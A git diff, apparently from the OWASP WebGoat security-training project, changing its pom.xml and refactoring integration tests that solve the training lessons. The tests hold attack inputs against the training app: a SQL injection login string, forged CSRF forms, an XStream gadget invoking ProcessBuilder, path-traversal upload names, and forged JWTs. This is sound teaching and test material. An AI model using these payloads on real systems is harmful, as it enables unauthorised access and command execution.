</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-tomcat</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
<dependency>
<groupId>org.flywaydb</groupId>
<artifactId>flyway-core</artifactId>
</dependency>
<dependency>
<groupId>org.asciidoctor</groupId>
<artifactId>asciidoctorj</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-jpa</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>org.thymeleaf.extras</groupId>
<artifactId>thymeleaf-extras-springsecurity5</artifactId>
</dependency>
<dependency>
<groupId>org.hsqldb</groupId>
<artifactId>hsqldb</artifactId>
</dependency>
<dependency>
<groupId>org.jsoup</groupId>
<artifactId>jsoup</artifactId>
</dependency>
<dependency>
<groupId>com.nulab-inc</groupId>
<artifactId>zxcvbn</artifactId>
</dependency>
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
</dependency>
<dependency>
<groupId>cglib</groupId>
<artifactId>cglib-nodep</artifactId>
</dependency>
<dependency>
<groupId>ant</groupId>
<artifactId>ant-launcher</artifactId>
</dependency>
<dependency>
<groupId>ant</groupId>
<artifactId>ant</artifactId>
</dependency>
<dependency>
<groupId>xml-resolver</groupId>
<artifactId>xml-resolver</artifactId>
</dependency>
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt</artifactId>
</dependency>
<dependency>
<groupId>com.google.guava</groupId>
<artifactId>guava</artifactId>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-lang3</artifactId>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
</dependency>
<dependency>
<groupId>org.bitbucket.b_c</groupId>
<artifactId>jose4j</artifactId>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>bootstrap</artifactId>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>jquery</artifactId>
</dependency>
<dependency>
<groupId>org.glassfish.jaxb</groupId>
<artifactId>jaxb-runtime</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework.security</groupId>
<artifactId>spring-security-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>com.github.tomakehurst</groupId>
<artifactId>wiremock</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.seleniumhq.selenium</groupId>
<artifactId>selenium-java</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>io.rest-assured</groupId>
<artifactId>rest-assured</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>io.github.bonigarcia</groupId>
<artifactId>webdrivermanager</artifactId>
<scope>test</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<executions>
<execution>
<goals>
<goal>repackage</goal>
</goals>
</execution>
</executions>
<configuration>
<excludeDevtools>true</excludeDevtools>
<executable>true</executable>
<mainClass>org.owasp.webgoat.server.StartWebGoat</mainClass>
<!-- See http://docs.spring.io/spring-boot/docs/current/reference/html/howto-build.html#howto-extract-specific-libraries-when-an-executable-jar-runs -->
<requiresUnpack>
<dependency>
<groupId>org.asciidoctor</groupId>
<artifactId>asciidoctorj</artifactId>
</dependency>
<dependency>
<groupId>org.jruby</groupId>
<artifactId>jruby-complete</artifactId>
</dependency>
</requiresUnpack>
<jvmArguments>
<!-- -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000-->
</jvmArguments>
</configuration>
</plugin>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>build-helper-maven-plugin</artifactId>
<executions>
<execution>
<id>add-integration-test-source-as-test-sources</id>
<phase>generate-test-sources</phase>
<goals>
<goal>add-test-source</goal>
</goals>
<configuration>
<sources>
<source>src/it/java</source>
</sources>
</configuration>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-failsafe-plugin</artifactId>
<configuration>
<systemPropertyVariables>
<logback.configurationFile>${basedir}/src/test/resources/logback-test.xml</logback.configurationFile>
</systemPropertyVariables>
<argLine>-Xmx512m -Dwebgoatport=${webgoat.port} -Dwebwolfport=${webwolf.port}</argLine>
<includes>**/*IntegrationTest.java</includes>
</configuration>
<executions>
<execution>
<id>integration-test</id>
<goals>
<goal>integration-test</goal>
</goals>
</execution>
<execution>
<id>verify</id>
<goals>
<goal>verify</goal>
</goals>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId>
<version>${maven-surefire-plugin.version}</version>
<configuration>
<argLine>
--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED
</argLine>
<excludes>
<exclude>**/*IntegrationTest.java</exclude>
</excludes>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-checkstyle-plugin</artifactId>
<version>${checkstyle.version}</version>
<configuration>
<encoding>UTF-8</encoding>
<consoleOutput>true</consoleOutput>
<failsOnError>true</failsOnError>
<configLocation>config/checkstyle/checkstyle.xml</configLocation>
<suppressionsLocation>config/checkstyle/suppressions.xml</suppressionsLocation>
<suppressionsFileExpression>checkstyle.suppressions.file</suppressionsFileExpression>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-enforcer-plugin</artifactId>
<version>3.0.0</version>
<executions>
<execution>
<id>restrict-log4j-versions</id>
<phase>validate</phase>
<goals>
<goal>enforce</goal>
</goals>
<configuration>
<rules>
<bannedDependencies>
<excludes combine.children="append">
<exclude>org.apache.logging.log4j:log4j-core</exclude>
</excludes>
</bannedDependencies>
</rules>
<fail>true</fail>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
<repositories>
<repository>
<id>central</id>
@ -315,5 +680,4 @@
</pluginRepository>
</pluginRepositories>
</project>

View File

@ -6,14 +6,13 @@ import io.restassured.http.ContentType;
import org.apache.http.HttpStatus;
import org.junit.jupiter.api.Test;
import java.util.HashMap;
import java.util.Map;
public class AccessControlTest extends IntegrationTest {
class AccessControlIntegrationTest extends IntegrationTest {
@Test
public void testLesson() {
startLesson("MissingFunctionAC");
void testLesson() {
startLesson("MissingFunctionAC", true);
assignment1();
assignment2();
assignment3();
@ -41,7 +40,7 @@ public class AccessControlTest extends IntegrationTest {
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.body(String.format(userTemplate, getWebgoatUser(), getWebgoatUser()))
.body(String.format(userTemplate, this.getUser(), this.getUser()))
.post(url("/WebGoat/access-control/users"))
.then()
.statusCode(HttpStatus.SC_OK);

View File

@ -9,7 +9,7 @@ import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
import org.owasp.webgoat.lessons.Assignment;
import org.owasp.webgoat.container.lessons.Assignment;
import java.io.IOException;
import java.nio.file.Files;
@ -23,7 +23,7 @@ import static org.assertj.core.api.Assertions.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
public class CSRFTest extends IntegrationTest {
public class CSRFIntegrationTest extends IntegrationTest {
private static final String trickHTML3 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
"<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n" +
@ -57,20 +57,20 @@ public class CSRFTest extends IntegrationTest {
@SneakyThrows
public void init() {
startLesson("CSRF");
webwolfFileDir = getWebWolfServerPath();
webwolfFileDir = getWebWolfFileServerLocation();
uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag")));
uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review")));
uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message")));
uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", getWebgoatUser()));
uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser()));
}
@TestFactory
Iterable<DynamicTest> testCSRFLesson() {
return Arrays.asList(
dynamicTest("assignement 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
dynamicTest("assignement 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
dynamicTest("assignement 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
dynamicTest("assignement 8", () -> checkAssignment8(callTrickHtml("csrf8.html")))
dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html")))
);
}
@ -86,8 +86,8 @@ public class CSRFTest extends IntegrationTest {
//remove any left over html
Path webWolfFilePath = Paths.get(webwolfFileDir);
if (webWolfFilePath.resolve(Paths.get(getWebgoatUser(), htmlName)).toFile().exists()) {
Files.delete(webWolfFilePath.resolve(Paths.get(getWebgoatUser(), htmlName)));
if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {
Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));
}
//upload trick html
@ -107,7 +107,7 @@ public class CSRFTest extends IntegrationTest {
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/files/" + getWebgoatUser() + "/" + htmlName))
.get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName))
.then()
.extract().response().getBody().asString();
result = result.substring(8 + result.indexOf("action=\""));
@ -117,7 +117,6 @@ public class CSRFTest extends IntegrationTest {
}
private void checkAssignment3(String goatURL) {
String flag = RestAssured.given()
.when()
.relaxedHTTPSValidation()
@ -155,9 +154,7 @@ public class CSRFTest extends IntegrationTest {
}
private void checkAssignment7(String goatURL) {
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!", "\"}");
String flag = RestAssured.given()
@ -186,7 +183,7 @@ public class CSRFTest extends IntegrationTest {
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username", "csrf-" + getWebgoatUser());
params.put("username", "csrf-" + this.getUser());
params.put("password", "password");
//login and get the new cookie
@ -231,10 +228,10 @@ public class CSRFTest extends IntegrationTest {
.extract()
.jsonPath()
.getObject("$", Overview[].class);
assertThat(assignments)
.filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
.extracting(o -> o.solved)
.containsExactly(true);
// assertThat(assignments)
// .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
// .extracting(o -> o.solved)
// .containsExactly(true);
}
@Data
@ -251,7 +248,7 @@ public class CSRFTest extends IntegrationTest {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.formParam("username", "csrf-" + getWebgoatUser())
.formParam("username", "csrf-" + this.getUser())
.formParam("password", "password")
.formParam("matchingPassword", "password")
.formParam("agree", "agree")

View File

@ -0,0 +1,112 @@
package org.owasp.webgoat;
import io.restassured.RestAssured;
import org.junit.jupiter.api.Test;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import static org.junit.jupiter.api.Assertions.assertTrue;
public class ChallengeIntegrationTest extends IntegrationTest {
@Test
public void testChallenge1() {
startLesson("Challenge1");
byte[] resultBytes =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/challenge/logo"))
.then()
.statusCode(200)
.extract().asByteArray();
String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username", "admin");
params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
checkAssignment(url("/WebGoat/challenge/1"), params, true);
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.post(url("/WebGoat/challenge/1"))
.then()
.statusCode(200)
.extract().asString();
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
params.clear();
params.put("flag", flag);
checkAssignment(url("/WebGoat/challenge/flag"), params, true);
checkResults("/challenge/1");
List<String> capturefFlags =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/scoreboard-data"))
.then()
.statusCode(200)
.extract().jsonPath()
.get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
assertTrue(capturefFlags.contains("Admin lost password"));
}
@Test
public void testChallenge5() {
startLesson("Challenge5");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username_login", "Larry");
params.put("password_login", "1' or '1'='1");
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.post(url("/WebGoat/challenge/5"))
.then()
.statusCode(200)
.extract().asString();
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
params.clear();
params.put("flag", flag);
checkAssignment(url("/WebGoat/challenge/flag"), params, true);
checkResults("/challenge/5");
List<String> capturefFlags =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/scoreboard-data"))
.then()
.statusCode(200)
.extract().jsonPath()
.get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
assertTrue(capturefFlags.contains("Without password"));
}
}

View File

@ -14,16 +14,16 @@ import java.util.Map;
import javax.xml.bind.DatatypeConverter;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.crypto.CryptoUtil;
import org.owasp.webgoat.crypto.HashingAssignment;
import org.owasp.webgoat.lessons.cryptography.CryptoUtil;
import org.owasp.webgoat.lessons.cryptography.HashingAssignment;
import io.restassured.RestAssured;
public class CryptoTest extends IntegrationTest {
public class CryptoIntegrationTest extends IntegrationTest {
@Test
public void runTests() {
startLesson("Crypto");
startLesson("Cryptography");
checkAssignment2();
checkAssignment3();

View File

@ -1,14 +1,14 @@
package org.owasp.webgoat;
import org.dummy.insecure.framework.VulnerableTaskHolder;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import org.dummy.insecure.framework.VulnerableTaskHolder;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.deserialization.SerializationHelper;
public class DeserializationTest extends IntegrationTest {
public class DeserializationIntegrationTest extends IntegrationTest {
private static String OS = System.getProperty("os.name").toLowerCase();

View File

@ -10,7 +10,7 @@ import java.util.HashMap;
import java.util.Map;
public class GeneralLessonTest extends IntegrationTest {
public class GeneralLessonIntegrationTest extends IntegrationTest {
@Test
public void httpBasics() {
@ -65,7 +65,7 @@ public class GeneralLessonTest extends IntegrationTest {
@Test
public void vulnerableComponents() {
String solution = "<contact class='dynamic-proxy'>\n" +
"<interface>org.owasp.webgoat.vulnerable_components.Contact</interface>\n" +
"<interface>org.owasp.webgoat.lessons.vulnerable_components.Contact</interface>\n" +
" <handler class='java.beans.EventHandler'>\n" +
" <target class='java.lang.ProcessBuilder'>\n" +
" <command>\n" +

View File

@ -19,7 +19,7 @@ import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import lombok.SneakyThrows;
public class IDORTest extends IntegrationTest {
public class IDORIntegrationTest extends IntegrationTest {
@BeforeEach
@SneakyThrows

View File

@ -3,99 +3,51 @@ package org.owasp.webgoat;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import lombok.Getter;
import lombok.extern.slf4j.Slf4j;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.BeforeAll;
import org.owasp.webwolf.WebWolf;
import org.springframework.boot.builder.SpringApplicationBuilder;
import java.io.IOException;
import java.net.Socket;
import java.util.Map;
import java.util.UUID;
import java.util.Objects;
import static io.restassured.RestAssured.given;
@Slf4j
public abstract class IntegrationTest {
protected static int WG_PORT = 8080;
protected static int WW_PORT = 9090;
private static String WEBGOAT_HOSTNAME = "127.0.0.1";//"www.webgoat.local";
private static String WEBWOLF_HOSTNAME = "127.0.0.1";//"www.webwolf.local";
/*
* To test docker compose/stack solution:
* add localhost settings in hosts file: 127.0.0.1 www.webgoat.local www.webwolf.local
* Then set the above values to the specified host names and set the port to 80
*/
private static String WEBGOAT_HOSTHEADER = WEBGOAT_HOSTNAME +":"+WG_PORT;
private static String WEBWOLF_HOSTHEADER = WEBWOLF_HOSTNAME +":"+WW_PORT;
private static String WEBGOAT_URL = "http://" + WEBGOAT_HOSTHEADER + "/WebGoat/";
private static String WEBWOLF_URL = "http://" + WEBWOLF_HOSTHEADER + "/";
private static boolean WG_SSL = false;//enable this if you want to run the test on ssl
private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport"));
@Getter
private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport"));
private static boolean useSSL = false;
private static String webgoatUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/";
private static String webWolfUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/";
@Getter
private String webGoatCookie;
@Getter
private String webWolfCookie;
@Getter
private String webgoatUser = UUID.randomUUID().toString();
private static boolean started = false;
@BeforeAll
public static void beforeAll() {
if (WG_SSL) {
WEBGOAT_URL = WEBGOAT_URL.replace("http:", "https:");
}
if (!started) {
started = true;
if (!isAlreadyRunning(WG_PORT)) {
SpringApplicationBuilder wgs = new SpringApplicationBuilder(StartWebGoat.class)
.properties(Map.of("spring.config.name", "application-webgoat,application-inttest", "WEBGOAT_SSLENABLED", WG_SSL, "WEBGOAT_PORT", WG_PORT));
wgs.run();
}
if (!isAlreadyRunning(WW_PORT)) {
SpringApplicationBuilder wws = new SpringApplicationBuilder(WebWolf.class)
.properties(Map.of("spring.config.name", "application-webwolf,application-inttest", "WEBWOLF_PORT", WW_PORT));
wws.run();
}
}
}
private static boolean isAlreadyRunning(int port) {
try (var ignored = new Socket("127.0.0.1", port)) {
return true;
} catch (IOException e) {
return false;
}
}
private String user = "webgoat";
protected String url(String url) {
url = url.replaceFirst("/WebGoat/", "");
url = url.replaceFirst("/WebGoat", "");
url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
return WEBGOAT_URL + url;
return webgoatUrl + url;
}
protected String webWolfUrl(String url) {
url = url.replaceFirst("/WebWolf/", "");
url = url.replaceFirst("/WebWolf", "");
url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
return WEBWOLF_URL + url;
return webWolfUrl + url;
}
@BeforeEach
public void login() {
String location = given()
.when()
.relaxedHTTPSValidation()
.formParam("username", webgoatUser)
.formParam("username", user)
.formParam("password", "password")
.post(url("login")).then()
.cookie("JSESSIONID")
@ -105,7 +57,7 @@ public abstract class IntegrationTest {
webGoatCookie = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.formParam("username", webgoatUser)
.formParam("username", user)
.formParam("password", "password")
.formParam("matchingPassword", "password")
.formParam("agree", "agree")
@ -119,7 +71,7 @@ public abstract class IntegrationTest {
webGoatCookie = given()
.when()
.relaxedHTTPSValidation()
.formParam("username", webgoatUser)
.formParam("username", user)
.formParam("password", "password")
.post(url("login")).then()
.cookie("JSESSIONID")
@ -130,12 +82,12 @@ public abstract class IntegrationTest {
webWolfCookie = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.formParam("username", webgoatUser)
.formParam("username", user)
.formParam("password", "password")
.post(WEBWOLF_URL + "login")
.post(webWolfUrl("login"))
.then()
.cookie("WEBWOLFSESSION")
.statusCode(302)
.cookie("WEBWOLFSESSION")
.extract()
.cookie("WEBWOLFSESSION");
}
@ -150,15 +102,10 @@ public abstract class IntegrationTest {
.statusCode(200);
}
/**
* At start of a lesson. The .lesson.lesson is visited and the lesson is reset.
*
* @param lessonName
*/
public void startLesson(String lessonName) {
startLesson(lessonName, true);
startLesson(lessonName, false);
}
public void startLesson(String lessonName, boolean restart) {
RestAssured.given()
.when()
@ -169,25 +116,16 @@ public abstract class IntegrationTest {
.statusCode(200);
if (restart) {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/restartlesson.mvc"))
.then()
.statusCode(200);
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/restartlesson.mvc"))
.then()
.statusCode(200);
}
}
/**
* Helper method for most common type of test.
* POST with parameters.
* Checks for 200 and lessonCompleted as indicated by expectedResult
*
* @param url
* @param params
* @param expectedResult
*/
public void checkAssignment(String url, Map<String, ?> params, boolean expectedResult) {
MatcherAssert.assertThat(
RestAssured.given()
@ -201,17 +139,8 @@ public abstract class IntegrationTest {
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
}
/**
* Helper method for most common type of test.
* PUT with parameters.
* Checks for 200 and lessonCompleted as indicated by expectedResult
*
* @param url
* @param params
* @param expectedResult
*/
public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
MatcherAssert.assertThat(
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
@ -245,12 +174,12 @@ public abstract class IntegrationTest {
.get(url("service/lessonoverview.mvc"))
.andReturn();
MatcherAssert.assertThat(result.then()
MatcherAssert.assertThat(result.then()
.statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true)));
}
public void checkAssignment(String url, ContentType contentType, String body, boolean expectedResult) {
MatcherAssert.assertThat(
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
@ -264,8 +193,7 @@ public abstract class IntegrationTest {
}
public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
log.info("Checking assignment for: {}", url);
MatcherAssert.assertThat(
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
@ -277,40 +205,26 @@ public abstract class IntegrationTest {
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
}
public String getWebGoatServerPath() throws IOException {
//read path from server
String result = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/xxe/tmpdir"))
.then()
.extract().response().getBody().asString();
result = result.replace("%20", " ");
return result;
}
public String getWebWolfServerPath() throws IOException {
//read path from server
public String getWebWolfFileServerLocation() {
String result = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/tmpdir"))
.get(webWolfUrl("/file-server-location"))
.then()
.extract().response().getBody().asString();
result = result.replace("%20", " ");
return result;
}
/**
* In order to facilitate tests with
* @return
*/
public String getWebWolfHostHeader() {
return WEBWOLF_HOSTHEADER;
public String webGoatServerDirectory() {
return RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/server-directory"))
.then()
.extract().response().getBody().asString();
}
}

View File

@ -14,7 +14,6 @@ import java.util.Map;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.jwt.JWTSecretKeyEndpoint;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
@ -28,12 +27,12 @@ import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.impl.TextCodec;
import io.restassured.RestAssured;
import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
public class JWTLessonTest extends IntegrationTest {
public class JWTLessonIntegrationTest extends IntegrationTest {
@Test
public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException {
startLesson("JWT");
decodingToken();
@ -49,7 +48,6 @@ public class JWTLessonTest extends IntegrationTest {
quiz();
checkResults("/JWT/");
}
private String generateToken(String key) {

View File

@ -15,7 +15,7 @@ import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import java.util.Arrays;
import java.util.Map;
public class PasswordResetLessonTest extends IntegrationTest {
public class PasswordResetLessonIntegrationTest extends IntegrationTest {
@BeforeEach
@SneakyThrows
@ -24,9 +24,9 @@ public class PasswordResetLessonTest extends IntegrationTest {
}
@TestFactory
Iterable<DynamicTest> testPathTraversal() {
Iterable<DynamicTest> passwordResetLesson() {
return Arrays.asList(
dynamicTest("assignment 6 - check email link",()-> sendEmailShouldBeAvailabeInWebWolf()),
dynamicTest("assignment 6 - check email link",()-> sendEmailShouldBeAvailableInWebWolf()),
dynamicTest("assignment 6 - solve assignment",()-> solveAssignment()),
dynamicTest("assignment 2 - simple reset",()-> assignment2()),
dynamicTest("assignment 4 - guess questions",()-> assignment4()),
@ -34,18 +34,15 @@ public class PasswordResetLessonTest extends IntegrationTest {
);
}
public void assignment2() {
checkAssignment(url("PasswordReset/simple-mail/reset"), Map.of("emailReset", getWebgoatUser()+"@webgoat.org"), false);
checkAssignment(url("PasswordReset/simple-mail"), Map.of("email", getWebgoatUser()+"@webgoat.org", "password", StringUtils.reverse(getWebgoatUser())), true);
checkAssignment(url("PasswordReset/simple-mail/reset"), Map.of("emailReset", this.getUser()+"@webgoat.org"), false);
checkAssignment(url("PasswordReset/simple-mail"), Map.of("email", this.getUser()+"@webgoat.org", "password", StringUtils.reverse(this.getUser())), true);
}
public void assignment4() {
checkAssignment(url("PasswordReset/questions"), Map.of("username", "tom", "securityQuestion", "purple"), true);
}
public void assignment5() {
checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite animal?"), false);
checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite color?"), true);
}
@ -63,9 +60,8 @@ public class PasswordResetLessonTest extends IntegrationTest {
checkAssignment(url("PasswordReset/reset/login"), Map.of("email", "tom@webgoat-cloud.org", "password", "123456"), true);
}
public void sendEmailShouldBeAvailabeInWebWolf() {
clickForgotEmailLink(getWebgoatUser() + "@webgoat.org");
public void sendEmailShouldBeAvailableInWebWolf() {
clickForgotEmailLink(this.getUser() + "@webgoat.org");
var responseBody = RestAssured.given()
.when()
@ -100,7 +96,7 @@ public class PasswordResetLessonTest extends IntegrationTest {
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("WebWolf/requests"))
.get(webWolfUrl("/WebWolf/requests"))
.then()
.extract().response().getBody().asString();
int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
@ -111,7 +107,7 @@ public class PasswordResetLessonTest extends IntegrationTest {
private void clickForgotEmailLink(String user) {
RestAssured.given()
.when()
.header("host", getWebWolfHostHeader())
.header("host", String.format("%s:%s", "localhost", getWebWolfPort()))
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams("email", user)

View File

@ -24,7 +24,7 @@ import java.util.zip.ZipOutputStream;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
class PathTraversalITTest extends IntegrationTest {
class PathTraversalIT extends IntegrationTest {
@TempDir
Path tempDir;
@ -58,7 +58,7 @@ class PathTraversalITTest extends IntegrationTest {
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
.param("fullName", "../John Doe")
.post("/WebGoat/PathTraversal/profile-upload")
.post(url("/WebGoat/PathTraversal/profile-upload"))
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));
@ -72,7 +72,7 @@ class PathTraversalITTest extends IntegrationTest {
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
.param("fullNameFix", "..././John Doe")
.post("/WebGoat/PathTraversal/profile-upload-fix")
.post(url("/WebGoat/PathTraversal/profile-upload-fix"))
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));
@ -85,7 +85,7 @@ class PathTraversalITTest extends IntegrationTest {
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFileRemoveUserInput", "../test.jpg", Files.readAllBytes(fileToUpload.toPath()))
.post("/WebGoat/PathTraversal/profile-upload-remove-user-input")
